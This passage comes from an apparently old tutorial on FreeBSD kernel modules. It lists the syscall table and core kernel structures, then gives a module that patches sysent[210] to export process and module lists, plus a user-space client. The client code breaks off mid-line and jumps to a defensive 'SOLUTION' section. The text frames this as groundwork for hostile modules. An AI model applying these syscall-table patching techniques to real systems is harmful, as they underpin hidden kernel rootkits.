		    { 2, (sy_call_t *)lstat },			/* 190 = lstat */
		    { 2, (sy_call_t *)pathconf },			/* 191 = pathconf */
		    { 2, (sy_call_t *)fpathconf },			/* 192 = fpathconf */
		    { 0, (sy_call_t *)nosys },			/* 193 = nosys */
		    { 2, (sy_call_t *)getrlimit },			/* 194 = getrlimit */
		    { 2, (sy_call_t *)setrlimit },			/* 195 = setrlimit */
		    { 4, (sy_call_t *)getdirentries },		/* 196 = getdirentries */
		    { 8, (sy_call_t *)mmap },			/* 197 = mmap */
		    { 0, (sy_call_t *)nosys },			/* 198 = __syscall */
		    { 5, (sy_call_t *)lseek },			/* 199 = lseek */
		    { 4, (sy_call_t *)truncate },			/* 200 = truncate */
		    { 4, (sy_call_t *)ftruncate },			/* 201 = ftruncate */
		    { 6, (sy_call_t *)__sysctl },			/* 202 = __sysctl */
		    { 2, (sy_call_t *)mlock },			/* 203 = mlock */
		    { 2, (sy_call_t *)munlock },			/* 204 = munlock */
		    { 1, (sy_call_t *)undelete },			/* 205 = undelete */
		    { 2, (sy_call_t *)futimes },			/* 206 = futimes */
		    { 1, (sy_call_t *)getpgid },			/* 207 = getpgid */
		    { 0, (sy_call_t *)nosys },			/* 208 = newreboot */
		    { 3, (sy_call_t *)poll },			/* 209 = poll */
		    { 0, (sy_call_t *)lkmnosys },			/* 210 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 211 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 212 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 213 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 214 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 215 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 216 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 217 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 218 = lkmnosys */
		    { 0, (sy_call_t *)lkmnosys },			/* 219 = lkmnosys */
		    { 4, (sy_call_t *)__semctl },			/* 220 = __semctl */
		    { 3, (sy_call_t *)semget },			/* 221 = semget */
		    { 3, (sy_call_t *)semop },			/* 222 = semop */
		    { 1, (sy_call_t *)semconfig },			/* 223 = semconfig */
		    { 3, (sy_call_t *)msgctl },			/* 224 = msgctl */
		    { 2, (sy_call_t *)msgget },			/* 225 = msgget */
		    { 4, (sy_call_t *)msgsnd },			/* 226 = msgsnd */
		    { 5, (sy_call_t *)msgrcv },			/* 227 = msgrcv */
		    { 3, (sy_call_t *)shmat },			/* 228 = shmat */
		    { 3, (sy_call_t *)shmctl },			/* 229 = shmctl */
		    { 1, (sy_call_t *)shmdt },			/* 230 = shmdt */
		    { 3, (sy_call_t *)shmget },			/* 231 = shmget */
		    { 2, (sy_call_t *)clock_gettime },		/* 232 = clock_gettime */
		    { 2, (sy_call_t *)clock_settime },		/* 233 = clock_settime */
		    { 2, (sy_call_t *)clock_getres },		/* 234 = clock_getres */
		    { 0, (sy_call_t *)nosys },			/* 235 = timer_create */
		    { 0, (sy_call_t *)nosys },			/* 236 = timer_delete */
		    { 0, (sy_call_t *)nosys },			/* 237 = timer_settime */
		    { 0, (sy_call_t *)nosys },			/* 238 = timer_gettime */
		    { 0, (sy_call_t *)nosys },			/* 239 = timer_getoverrun */
		    { 2, (sy_call_t *)nanosleep },			/* 240 = nanosleep */
		    { 0, (sy_call_t *)nosys },			/* 241 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 242 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 243 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 244 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 245 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 246 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 247 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 248 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 249 = nosys */
		    { 3, (sy_call_t *)minherit },			/* 250 = minherit */
		    { 1, (sy_call_t *)rfork },			/* 251 = rfork */
		    { 3, (sy_call_t *)openbsd_poll },		/* 252 = openbsd_poll */
		    { 0, (sy_call_t *)issetugid },			/* 253 = issetugid */
		    { 3, (sy_call_t *)lchown },			/* 254 = lchown */
		    { 0, (sy_call_t *)nosys },			/* 255 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 256 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 257 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 258 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 259 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 260 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 261 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 262 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 263 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 264 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 265 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 266 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 267 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 268 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 269 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 270 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 271 = nosys */
		    { 3, (sy_call_t *)getdents },			/* 272 = getdents */
		    { 0, (sy_call_t *)nosys },			/* 273 = nosys */
		    { 2, (sy_call_t *)lchmod },			/* 274 = lchmod */
		    { 3, (sy_call_t *)lchown },			/* 275 = netbsd_lchown */
		    { 2, (sy_call_t *)lutimes },			/* 276 = lutimes */
		    { 3, (sy_call_t *)msync },			/* 277 = netbsd_msync */
		    { 2, (sy_call_t *)nstat },			/* 278 = nstat */
		    { 2, (sy_call_t *)nfstat },			/* 279 = nfstat */
		    { 2, (sy_call_t *)nlstat },			/* 280 = nlstat */
		    { 0, (sy_call_t *)nosys },			/* 281 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 282 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 283 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 284 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 285 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 286 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 287 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 288 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 289 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 290 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 291 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 292 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 293 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 294 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 295 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 296 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 297 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 298 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 299 = nosys */
		    { 1, (sy_call_t *)modnext },			/* 300 = modnext */
		    { 2, (sy_call_t *)modstat },			/* 301 = modstat */
		    { 1, (sy_call_t *)modfnext },			/* 302 = modfnext */
		    { 1, (sy_call_t *)modfind },			/* 303 = modfind */
		    { 1, (sy_call_t *)kldload },			/* 304 = kldload */
		    { 1, (sy_call_t *)kldunload },			/* 305 = kldunload */
		    { 1, (sy_call_t *)kldfind },			/* 306 = kldfind */
		    { 1, (sy_call_t *)kldnext },			/* 307 = kldnext */
		    { 2, (sy_call_t *)kldstat },			/* 308 = kldstat */
		    { 1, (sy_call_t *)kldfirstmod },		/* 309 = kldfirstmod */
		    { 1, (sy_call_t *)getsid },			/* 310 = getsid */
		    { 0, (sy_call_t *)nosys },			/* 311 = setresuid */
		    { 0, (sy_call_t *)nosys },			/* 312 = setresgid */
		    { 0, (sy_call_t *)nosys },			/* 313 = obsolete signanosleep */
		    { 1, (sy_call_t *)aio_return },			/* 314 = aio_return */
		    { 3, (sy_call_t *)aio_suspend },		/* 315 = aio_suspend */
		    { 2, (sy_call_t *)aio_cancel },			/* 316 = aio_cancel */
		    { 1, (sy_call_t *)aio_error },			/* 317 = aio_error */
		    { 1, (sy_call_t *)aio_read },			/* 318 = aio_read */
		    { 1, (sy_call_t *)aio_write },			/* 319 = aio_write */
		    { 4, (sy_call_t *)lio_listio },			/* 320 = lio_listio */
		    { 0, (sy_call_t *)yield },			/* 321 = yield */
		    { 1, (sy_call_t *)thr_sleep },			/* 322 = thr_sleep */
		    { 1, (sy_call_t *)thr_wakeup },			/* 323 = thr_wakeup */
		    { 1, (sy_call_t *)mlockall },			/* 324 = mlockall */
		    { 0, (sy_call_t *)munlockall },			/* 325 = munlockall */
		    { 2, (sy_call_t *)__getcwd },			/* 326 = __getcwd */
		    { 2, (sy_call_t *)sched_setparam },		/* 327 = sched_setparam */
		    { 2, (sy_call_t *)sched_getparam },		/* 328 = sched_getparam */
		    { 3, (sy_call_t *)sched_setscheduler },		/* 329 = sched_setscheduler */
		    { 1, (sy_call_t *)sched_getscheduler },		/* 330 = sched_getscheduler */
		    { 0, (sy_call_t *)sched_yield },		/* 331 = sched_yield */
		    { 1, (sy_call_t *)sched_get_priority_max },		/* 332 = sched_get_priority_max */
		    { 1, (sy_call_t *)sched_get_priority_min },		/* 333 = sched_get_priority_min */
		    { 2, (sy_call_t *)sched_rr_get_interval },		/* 334 = sched_rr_get_interval */
		    { 2, (sy_call_t *)utrace },			/* 335 = utrace */
		    { 8, (sy_call_t *)sendfile },			/* 336 = sendfile */
		    { 3, (sy_call_t *)kldsym },			/* 337 = kldsym */
	    };
	
	    As you can  see sysent[] contains  one sysent structure  for every
	    system  call  installed  on  the  system.   Recall  that the first
	    element in  the sysent  structure is  the argument  count and  the
	    second the function  pointer.  This  means for the  kldsysm system
	    call:
	
	        argument cound        : 3
	        system call function  : kldsysm
	
	    And this means that  we can get the  sysent entry of every  system
	    call we want by reading  sysent[system call number].  The  easiest
	    way to get the index is to use the syscalls.h file.
	    Now we want  to extract the  most important system  calls you have
	    to understand  in order  to do  a bit  of kernel  hacking.  Author
	    gave you the system call number, the function and their  arguments
	    structure.  Maybe you need to hack other system calls, its just  a
	    matter of creativity.  system callnumberargument
	
	            struct
	            read(p, uap)3struct read_args {
	            int fd;
	            void *buf;
	            size_t nbyte; }
	            write(p, uap)4struct write_args {
	            int fd;
	            const void *buf;
	            size_t nbyte; }
	            open(p, uap)5struct open_args {
	            char *path;
	            int flags;
	            int mode; }
	            link(p, uap)9struct link_args {
	            char *path;
	            char *link; }
	            recvfrom(p, uap)29struct recvfrom_args {
	            int s;
	            caddr_t buf;
	            size_t len;
	            int flags;
	            caddr_t from;
	            int *fromlenaddr; }
	            accept(p, uap)30struct accept_args {
	            int s;
	            caddr_t name;
	            int *anamelen; }
	            kill(p, uap)37struct kill_args {
	            int pid;
	            int signum; }
	            ktrace(p, uap)45struct ktrace_args {
	            char *fname;
	            int ops;
	            int facs;
	            int pid; }
	            ioctl(p, uap)54struct ioctl_args {
	            int fd_;
	            u_long com;
	            caddr_t data; }
	            reboot(p, uap)55struct reboot_args {
	            int opt; }
	            execve(p, uap)59struct execve_args {
	            char *fname;
	            char **argv;
	            char **envv; }
	            sbrk(p, uap)69struct sbrk_args {
	            int incr; }
	            socket(p, uap)97struct socket_args {
	            int domain;
	            int type;
	            int protocol; }
	            connect(p, uap)98struct connect_args {
	            int s;
	            caddr_t name;
	            int namelen; }
	            bind(p, uap)104struct bind_args {
	            int s;
	            caddr_t name;
	            int namelen; }
	            listen(p, uap)106struct listen_args {
	            int s;
	            int backlog; }
	            readv(p, uap)120struct readv_args {
	            int fd;
	            struct iovec *iovp;
	            u_int iovcnt; }
	            writev(p, uap)121struct writev_args {
	            int fd;
	            struct iovec *iovp;
	            u_int iovcnt; }
	            rename(p, uap)128struct rename_args {
	            char *from;
	            char *to; }
	            sendto(p, uap)133struct sendto_args {
	            int s;
	            caddr_t buf;
	            size_t len;
	            int flags;
	            caddr_t to;
	            int tolen; }
	            mkdir(p, uap)136struct mkdir_args {
	            char *path;
	            int mode; }
	            rmdir(p, uap)137struct rmdir_args {
	            char *path; }
	            getdirentries(p, uap)196struct getdirentries_args {
	            int fd;
	            char *buf;
	            u_int count;
	            long *basep; }
	            modnext(p, uap)300struct modnext_args {
	            int modid; }
	            modstat(p, uap)301struct modstat_args {
	            int modid;
	            struct module_stat *stat; }
	            modfnext(p, uap)302struct modfnext_args {
	            int modid; }
	            modfind(p, uap)303struct modfind_args {
	            char *name; }
	            kldload(p, uap)304struct kldload_args {
	            const char *file; }
	            kldunload(p, uap)305struct kldunload_args {
	            int fileid; }
	            kldfind(p, uap)306struct kldfind_args {
	            const char *file; }
	            kldnext(p, uap)307struct kldnext_args {
	            int fileid; }
	            kldstat(p, uap)308struct kldstat_args {
	            int fileid;
	            struct kld_file_stat *stat; }
	            kldsym(p, uap)337struct kldsym_args {
	            int fileid;
	            int cmd;
	            void *data; }
	
	    As you can see every system call gets the proc structure (standing
	    for the process  calling the system  call) and a  special argument
	    structure.
	    Beside system  calls kernel  structures and  lists are  one of the
	    most important  things we  have to  deal with.   Following section
	    will explain the  most basic kernel  structures and lists  we need
	    to understand.  It  is impossible to give  you a complete list  of
	    all interesting  kernel lists,  of course.   This text  is dealing
	    with inserting hostile modules into the kernel.  Those modules are
	    wrapped by link files.  The kernel inserts any link file loaded in
	    a global list of linker_file  structures. So let's take a  look at
	    this structure:
	
	    struct linker_file {
	        int			refs;		/* reference count */
	        int			userrefs;	/* kldload(2) count */
	        TAILQ_ENTRY(linker_file) link;	/* list of all loaded files */
	        char*		filename;	/* file which was loaded */
	        int			id;		/* unique id */
	        caddr_t		address;	/* load address */
	        size_t		size;		/* size of file */
	        int			ndeps;		/* number of dependancies */
	        linker_file_t*	deps;		/* list of dependancies */
	        STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
	        TAILQ_HEAD(, module) modules;	/* modules in this file */
	        void*		priv;		/* implementation data */
	        struct linker_file_ops* ops;
	    };
	
	    Take a look at  it.  The general  layout should be clear:  link is
	    used for  the list  management, filename  is the  name of the link
	    file, modules stands for  the modules in that  file.  This is  the
	    structure,  but  where  is  the  global  list  holding  all  these
	    entries?  Take a look at  the following line that can be  found in
	    kern_linker.c:
	
	        static linker_file_list_t files;
	
	    Unexpirienced  kernel  coders  will  ask  what  linker_file_list_t
	    stands for  (we thought  of something  like linker_file).   Ok  so
	    let's look what linker_file_list_t stands for:
	
	        typedef TAILQ_HEAD(, linker_file) linker_file_list_t;
	
	    TAILQ_HEAD is  one of  lots of  macros defined  in queue.h.   This
	    include  file  provides  lots  o  very  helpful macros helping the
	    kernel to manage a lot of internal lists.  Let's say that the line
	    above does something like initialization of the linker_file  list,
	    which  can  now  be  accessed  via linker_file_list_t ('TheSeeker'
	    will show  how to  use those  macros).   Ok now  we know where the
	    linker_file list is located this should be enough for the  moment.
	    Now what about modules.   As said before modules are  described by
	    a  module  structure  (see  above).   Those  structures  are  also
	    organized  in  a  global  list.   So  where  and  how is this list
	    defined, take a look at this line from kern_module.c:
	
	        typedef TAILQ_HEAD(, module) modulelist_t;
	
	    Again we see TAILQ_HEAD providing us with a list and again we  now
	    know that modulelist_t is the global list for every module loaded.
	    One of the most important  none-module related list in the  kernel
	    is  the  allproc  (zombproc)  list.  The  allproc list holds every
	    process on the system except  the zombie processes those are  hold
	    by zombproc.  First let's take a look at the general structure  of
	    a  process  entry.   The  proc  structure  holds  every  piece  of
	    information needed:
	
	    struct	proc {
		    TAILQ_ENTRY(proc) p_procq;	/* run/sleep queue. */
		    LIST_ENTRY(proc) p_list;	/* List of all processes. */
		    /* substructures: */
		    struct	pcred *p_cred;		/* Process owner's identity. */
		    struct	filedesc *p_fd;		/* Ptr to open files structure. */
		    struct	pstats *p_stats;	/* Accounting/statistics (PROC ONLY). */
		    struct	plimit *p_limit;	/* Process limits. */
		    struct	vm_object *p_upages_obj;/* Upages object */
		    struct	procsig *p_procsig;
	    #define p_sigacts	p_procsig->ps_sigacts
	    #define p_sigignore	p_procsig->ps_sigignore
	    #define p_sigcatch	p_procsig->ps_sigcatch
	    #define	p_ucred		p_cred->pc_ucred
	    #define	p_rlimit	p_limit->pl_rlimit
		    int	p_flag;			/* P_* flags. */
		    char	p_stat;			/* S* process status. */
		    char	p_pad1[3];
		    pid_t	p_pid;			/* Process identifier. */
		    LIST_ENTRY(proc) p_hash;	/* Hash chain. */
		    LIST_ENTRY(proc) p_pglist;	/* List of processes in pgrp. */
		    struct	proc *p_pptr;	 	/* Pointer to parent process. */
		    LIST_ENTRY(proc) p_sibling;	/* List of sibling processes. */
		    LIST_HEAD(, proc) p_children;	/* Pointer to list of children. */
		    struct callout_handle p_ithandle; /*
						          * Callout handle for scheduling
						          * p_realtimer.
						          */
	    /* The following fields are all zeroed upon creation in fork. */
	    #define	p_startzero	p_oppid
		    pid_t	p_oppid;	 /* Save parent pid during ptrace. XXX */
		    int	p_dupfd;	 /* Sideways return value from fdopen. XXX */
		    struct	vmspace *p_vmspace;	/* Address space. */
		    /* scheduling */
		    u_int	p_estcpu;	 /* Time averaged value of p_cpticks. */
		    int	p_cpticks;	 /* Ticks of cpu time. */
		    fixpt_t	p_pctcpu;	 /* %cpu for this process during p_swtime */
		    void	*p_wchan;	 /* Sleep address. */
		    const char *p_wmesg;	 /* Reason for sleep. */
		    u_int	p_swtime;	 /* Time swapped in or out. */
		    u_int	p_slptime;	 /* Time since last blocked. */
		    struct	itimerval p_realtimer;	/* Alarm timer. */
		    u_int64_t	p_runtime;	/* Real time in microsec. */
		    struct	timeval p_switchtime;	/* When last scheduled */
		    u_quad_t p_uticks;		/* Statclock hits in user mode. */
		    u_quad_t p_sticks;		/* Statclock hits in system mode. */
		    u_quad_t p_iticks;		/* Statclock hits processing intr. */
		    int	p_traceflag;		/* Kernel trace points. */
		    struct	vnode *p_tracep;	/* Trace to vnode. */
		    int	p_siglist;		/* Signals arrived but not delivered. */
		    struct	vnode *p_textvp;	/* Vnode of executable. */
		    char	p_lock;			/* Process lock (prevent swap) count. */
		    char	p_oncpu;		/* Which cpu we are on */
		    char	p_lastcpu;		/* Last cpu we were on */
		    char	p_pad2;			/* alignment */
		    short	p_locks;		/* DEBUG: lockmgr count of held locks */
		    short	p_simple_locks;		/* DEBUG: count of held simple locks */
		    unsigned int	p_stops;	/* procfs event bitmask */
		    unsigned int	p_stype;	/* procfs stop event type */
		    char	p_step;			/* procfs stop *once* flag */
		    unsigned char	p_pfsflags;	/* procfs flags */
		    char	p_pad3[2];		/* padding for alignment */
		    register_t p_retval[2];		/* syscall aux returns */
		    struct	sigiolst p_sigiolst;	/* list of sigio sources */
		    int	p_sigparent;		/* signal to parent on exit */
		    sigset_t p_oldsigmask;		/* saved mask from before sigpause */
		    int	p_sig;			/* for core dump/debugger XXX */
	            u_long	p_code;	  	        /* for core dump/debugger XXX */
	    /* End area that is zeroed on creation. */
	    #define	p_endzero	p_startcopy
	    /* The following fields are all copied upon creation in fork. */
	    #define	p_startcopy	p_sigmask
		    sigset_t p_sigmask;	/* Current signal mask. */
		    u_char	p_priority;	/* Process priority. */
		    u_char	p_usrpri;	/* User-priority based on p_cpu and p_nice. */
		    char	p_nice;		/* Process "nice" value. */
		    char	p_comm[MAXCOMLEN+1];
		    struct 	pgrp *p_pgrp;	/* Pointer to process group. */
		    struct 	sysentvec *p_sysent; /* System call dispatch information. */
		    struct	rtprio p_rtprio;	/* Realtime priority. */
	    /* End area that is copied on creation. */
	    #define	p_endcopy	p_addr
		    struct	user *p_addr;	/* Kernel virtual addr of u-area (PROC ONLY). */
		    struct	mdproc p_md;	/* Any machine-dependent fields. */
		    u_short	p_xstat;	/* Exit status for wait; also stop signal. */
		    u_short	p_acflag;	/* Accounting flags. */
		    struct	rusage *p_ru;	/* Exit information. XXX */
		    int	p_nthreads;	/* number of threads (only in leader) */
		    void	*p_aioinfo;	/* ASYNC I/O info */
		    int	p_wakeup;	/* thread id */
		    struct proc *p_peers;
		    struct proc *p_leader;
		    struct	pasleep p_asleep;	/* Used by asleep()/await(). */
	    };
	
	    This  structure  is  quite  big  and  complex.  There  are lots of
	    substructurs we will use in, so we won't explain them here.   Most
	    of the fields  should be clear.   The vmspace field  is also  very
	    important for us,  because it's our  gate to the  process' memory.
	    Now we know how processes are described, but where do we have  the
	    allproc and zombroc lists?  Let's search for them in kern_proc.c:
	
	        struct proclist allproc;
	        struct proclist zombroc;
	
	    A reference to proclist can be found in proc.h
	
	        LIST_HEAD(proclist, proc);
	
	    LIST_HEAD is another macro taken from queue.h that provides a list
	    (here proclist).  Now we know  how to find any process running  on
	    the system:  just look  through allproc  (zombroc).   This are the
	    most basic lists and structures  we need to understand, there  are
	    thousands more, but we won't need them too often.
	    Author developed a little module that inserts one new system  call
	    which provides  us with  the ability  to export  some kernel space
	    structures  and  lists  to  user  space.   This is not very useful
	    (there are better  libc calls), author  just wrote it  to show you
	    in an  easy way  how to  handle system  calls, kernel  lists, user
	    space kernel  space interfaces,  etc.   There are  some pieces  of
	    code that handle the user space <-> kernel space transition.   For
	    those not  aware of  this problem  it is  suggested first  reading
	    section I.8 of  original document.   Those who read  Linux article
	    should  be  able  to  continue  without  problems.  So here is the
	    module source:
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    #include <sys/linker.h>
	    #include <sys/sysproto.h>
	    #include <sys/sysent.h>
	    #include <sys/proc.h>
	    #include <sys/syscall.h>
	    #include <sys/file.h>
	    #include <sys/malloc.h>
	    #include <sys/types.h>
	    #include <sys/lock.h>
	    #define GD_ALLPROC       1
	    #define GD_LINKFILES     2
	    #define GD_MODULES       3
	    typedef TAILQ_HEAD(, module) modulelist_t;
	    /*import lock structure*/
	    extern struct lock lock;
	    /*import the linker_file list*/
	    extern linker_file_list_t files;
	    /*import module list*/
	    extern modulelist_t modules;
	    /*the module structure (normally defined in kern_module.c)*/
	    struct module {
	     TAILQ_ENTRY(module) link;
	     TAILQ_ENTRY(module) flink;
	     struct linker_file *file;
	     int refs;
	     int id;
	     char *name;
	     modeventhand_t handler;
	     void *arg;
	     modspecific_t data;
	    };
	    /*structure for our getdata system call*/
	    static struct getdata_args {
	     /*this int value stands for the data the user wants to see*/
	     int what;
	     /*this is a user space buffer where we will put the data*/
	     char *buffer;
	    };
	    /*the system call function we implement*/
	    /*GENERAL WORKING :
	      This system call gets two arguments from a user space program : an integer
	      used as a switch parameter (what kernel list do we want) and a pointer to
	      an allocated user space memory location. If this pointer is zero the
	      system call will return the size of the requested list. This is useful for
	      selecting the buffer size in a second step.*/
	    static
	    int getdata(struct proc *p, struct getdata_args *uap)
	    {
	     int size, flag=0;
	     struct proc *pr;
	     linker_file_t lf=0;
	     module_t mod=0;
	     /*if the buffer is NULL then the user requests the list size*/
	     if (uap->buffer==NULL) flag=1;
	     /*which list does the user want*/
	     switch(uap->what)
	     {
	      case GD_ALLPROC :
	      {
	       size=0;
	       pr=allproc.lh_first;
	       for (; pr!=0; pr=pr->p_list.le_next)
	       {
	        size+=sizeof(struct proc);
	       }
	       /*if the user only want the size, return it*/
	       if (flag==1) {p->p_retval[0]=size; break;}
	       pr=allproc.lh_first;
	       size=0;
	       /*otherwise returnthe structure into the user space buffer*7
	       for(; pr!=0; pr=pr->p_list.le_next)
	       {
	        copyout(pr, uap->buffer+size, sizeof(struct proc));
	        size+=sizeof(struct proc);
	       }
	       /*return number of procs returned in buffer*/
	       p->p_retval[0]=size/sizeof(struct proc);
	       break;
	      }
	      case GD_MODULES :
	      {
	       size=0;
	       for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
	       {
	        size+=sizeof(struct module);
	       }
	       if (flag==1) {p->p_retval[0]=size; break;}
	       size=0;
	       for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
	       {
	        copyout(mod, uap->buffer+size, sizeof(struct module));
	        size+=sizeof(struct module);
	       }
	       /*return number of procs returned in buffer*/
	       p->p_retval[0]=size/sizeof(struct module);
	       break;
	      }
	      case GD_LINKFILES :
	      {
	       size=0;
	       /*lock*/
	       lockmgr(&lock, LK_SHARED, 0, curproc);
	       for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
	       {
	        size+=sizeof(struct linker_file);
	       }
	       /*unlock*/
	       lockmgr(&lock, LK_RELEASE, 0, curproc);
	       if (flag==1) {p->p_retval[0]=size; break;}
	       size=0;
	       lockmgr(&lock, LK_SHARED, 0, curproc);
	       for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
	       {
	        copyout(lf, uap->buffer+size, sizeof(struct linker_file));
	        size+=sizeof(struct linker_file);
	       }
	       lockmgr(&lock, LK_RELEASE, 0, curproc);
	       /*return number of procs returned in buffer*/
	       p->p_retval[0]=size/sizeof(struct linker_file);
	       break;
	      }
	     }
	     return 0;
	    }
	    /*the hacked open syscall*/
	    static struct sysent getdata_sysent = {
	           2,
	           getdata			/* sy_call */
	    };
	    /*
	     * The function called at load/unload.
	     */
	    static int
	    dummy_handler (struct module *module, int cmd, void *arg)
	    {
	     int error = 0;
	     switch (cmd) {
	      case MOD_LOAD :
	       /*install the system call, UNLOAD will not remove it, I am too lazy :)*/
	       sysent[210]=getdata_sysent;
	      break;
	      case MOD_UNLOAD :
	      break;
	      default :
	       error = EINVAL;
	      break;
	     }
	     return error;
	    }
	    /*install the module as our MISC type*/
	    static moduledata_t syscall_mod = {
	     "TheSeeker",
	     dummy_handler,
	     NULL
	    };
	    DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
	
	    This is no nice style  programming style, but working.   The copy*
	    functions will be explained in I.8.  Recognize that return  values
	    for  user  space  a  saved  in  a  part  of  the  module structure
	    (p->p_retval[0]).  The  rest should be  quite clear.   Author also
	    wrote a little user space  program showing how to use  this system
	    call.  Of course, you have to load the module before.
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    #include <sys/linker.h>
	    #include <sys/sysent.h>
	    #include <sys/proc.h>
	    #include <sys/syscall.h>
	    #include <sys/file.h>
	    #include <sys/malloc.h>
	    #include <sys/types.h>
	    #include <sys/lock.h>
	    typedef struct linker_file* linker_file_t;
	    struct linker_file {
	        int			refs;		/* reference count */
	        int			userrefs;	/* kldload(2) count */
	        TAILQ_ENTRY(linker_file) link;	/* list of all loaded files */
	        char*		filename;	/* file which was loaded */
	        int			id;		/* unique id */
	        caddr_t		address;	/* load address */
	        size_t		size;		/* size of file */
	        int			ndeps;		/* number of dependancies */
	        linker_file_t*	deps;		/* list of dependancies */
	        STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
	        TAILQ_HEAD(, module) modules;	/* modules in this file */
	        void*		priv;		/* implementation data */
	        struct linker_file_ops* ops;
	    };
	    struct module {
	     TAILQ_ENTRY(module) link;
	     TAILQ_ENTRY(module) flink;
	     struct linker_file *file;
	     int refs;
	     int id;
	     char *name;
	     modeventhand_t handler;
	     void *arg;
	     modspecific_t data;
	    };
	    int errno;
	    #define GD_ALLPROC       1
	    #define GD_LINKFILES     2
	    #define GD_MODULES       3
	    /*structure for our getdata system call*/
	    struct getdata_args {
	     /*this int value stands for the data the user wants to see*/
	     int what;
	     /*this is a user space buffer where we will put the data*/
	     char *buffer;
	    };
	    void print_allprocs()
	    {
	     struct getdata_args gda;
	     int size;
	     struct proc *procs;
	     char *p;
	     int counter, tmp;
	     /*set the getdata fields*/
	     gda.what=GD_ALLPROC;
	     gda.buffer=NULL;
	     size=syscall (210, gda);
	     /*allocate some bytes*/
	     p=(char*)malloc(size);
	     /*set the getdata fields*/
	     gda.what=GD_ALLPROC;
	     gda.buffer=(char*)p;
	     tmp=syscall(210, gda);
	     procs=(struct proc*)p;
	     for (counter=0; counter<tmp; counter++)
	      printf("PID : %d\n", procs[counter].p_pid);
	     free(p);
	    }
	    void print_files()
	    {
	     struct getdata_args gda;
	     int size;
	     struct linker_file *procs;
	     char *p;
	     int counter, tmp;
	     /*set the getdata fields*/
	     gda.what=GD_LINKFILES;
	     gda.buffer=NULL;
	     size=syscall (210, gda);
	     printf("SIZE : %d\n", size);
	     /*allocate some bytes*/
	     p=(char*)malloc(size);
	     /*set the getdata fields*/
	     gda.what=GD_LINKFILES;
	     gda.buffer=(char*)p;
	     tmp=syscall(210, gda);
	     printf("STRUCTS : %d\n", tmp);
	     procs=(struct linker_file*)p;
	     for (counter=0; counter<tmp; counter++)
	      printf("ID : %d\n", procs[counter].id);
	     free(p);
	    }
	    void print_modules()
	    {
	     struct getdata_args gda;
	     int size;
	     struct module *procs;
	     char *p;
	     int counter, tmp;
	     /*set the getdata fields*/
	     gda.what=GD_MODULES;
	     gda.buffer=NULL;
	     size=syscall (210, gda);
	     printf("SIZE : %d\n", size);
	     /*allocate some bytes*/
	     p=(char*)malloc(size);
	     /*set the getdata fields*/
	     gda.what=GD_MODULES;
	     gda.buffer=(char*)p;
	     tmp=syscall
SOLUTION
	    Here we'll only show you how to avoid some problems (not all)  you
	    as administrator  could have  with 'hacker'  modules playing havoc
	    with your  system call  table.   Linux text  showed many  ways how
	    to fight against hostile modules with the help of some  protection
	    LKMs.  We won't repeat those ideas.  You can use all those modules
	    on FreeBSD too, you  only have to change  the code a bit;  we only
	    describe some new ideas here.
